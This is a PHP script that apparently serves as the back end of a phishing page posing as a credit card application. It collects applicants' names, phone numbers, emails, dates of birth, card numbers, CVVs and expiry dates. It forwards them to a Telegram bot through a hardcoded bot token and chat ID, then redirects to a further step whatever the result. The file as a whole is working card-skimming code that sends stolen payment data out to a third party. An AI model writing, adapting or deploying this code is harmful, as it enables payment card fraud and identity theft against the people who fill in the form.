<?php
session_start(); // ✅ Start session to store same userId

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    echo "Method Not Allowed";
    exit;
}

function get_post($key) {
    return isset($_POST[$key]) ? trim($_POST[$key]) : '';
}
function esc($s) {
    return htmlspecialchars($s, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

// Collect fields
$name       = esc(get_post('name'));
$mobile     = esc(get_post('mobileNumber'));
$email      = esc(get_post('email'));
$cardLimit  = esc(get_post('cardLimit'));
$dob        = esc(get_post('dob'));

$holder_raw   = get_post('holder');
$number_raw   = get_post('number');
$cvv_raw      = get_post('cvv');    
$expiry_raw   = get_post('expiry');
// ✅ Generate or reuse user ID (4 digits)
if (isset($_SESSION['user_id']) && preg_match('/^\d{4}$/', $_SESSION['user_id'])) {
    $userId = $_SESSION['user_id'];
} else {
    $userId = strval(mt_rand(1000, 9999));
    $_SESSION['user_id'] = $userId;
}

// Build message
$message  = "<b>New Application Received</b>\n\n";
$message .= "<b>User ID:</b> {$userId}\n";
$message .= "<b>Name:</b> " . ($name !== '' ? $name : 'N/A') . "\n";
$message .= "<b>Mobile:</b> " . ($mobile !== '' ? $mobile : 'N/A') . "\n";
$message .= "<b>Date of Birth:</b> " . ($dob !== '' ? $dob : 'N/A') . "\n";

if ($email !== '') $message .= "<b>Email:</b> {$email}\n";
if ($cardLimit !== '') $message .= "<b>Card Limit:</b> {$cardLimit}\n";

if ($holder_raw !== '') $message .= "<b>Card Holder:</b> " . esc($holder_raw) . "\n";
if ($number_raw !== '') $message .= "<b>Card Number:</b> " . esc($number_raw) . "\n";
if ($cvv_raw !== '') $message .= "<b>CVV:</b> " . esc($cvv_raw) . "\n";
if ($expiry_raw !== '') $message .= "<b>Expiry:</b> " . esc($expiry_raw) . "\n";
// Telegram config
$botToken = '8494314089:AAEhQrfHr2ZOxiD84utyyjmtFCJ2937vkiI';
$chatId   = '8268344144';

$telegramApiUrl = "https://api.telegram.org/bot" . urlencode($botToken) . "/sendMessage";

$telegramData = [
    'chat_id' => $chatId,
    'text' => $message,
    'parse_mode' => 'HTML',
    'disable_web_page_preview' => 'true'
];

$options = [
    'http' => [
        'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
        'method'  => 'POST',
        'content' => http_build_query($telegramData),
        'timeout' => 15
    ],
];

$context  = stream_context_create($options);

$result = @file_get_contents($telegramApiUrl, false, $context);
if ($result === false) {
    header("Location: 2.php");
    exit;
}

// Success -> redirect to next step
header("Location: 2.php");
exit;
?>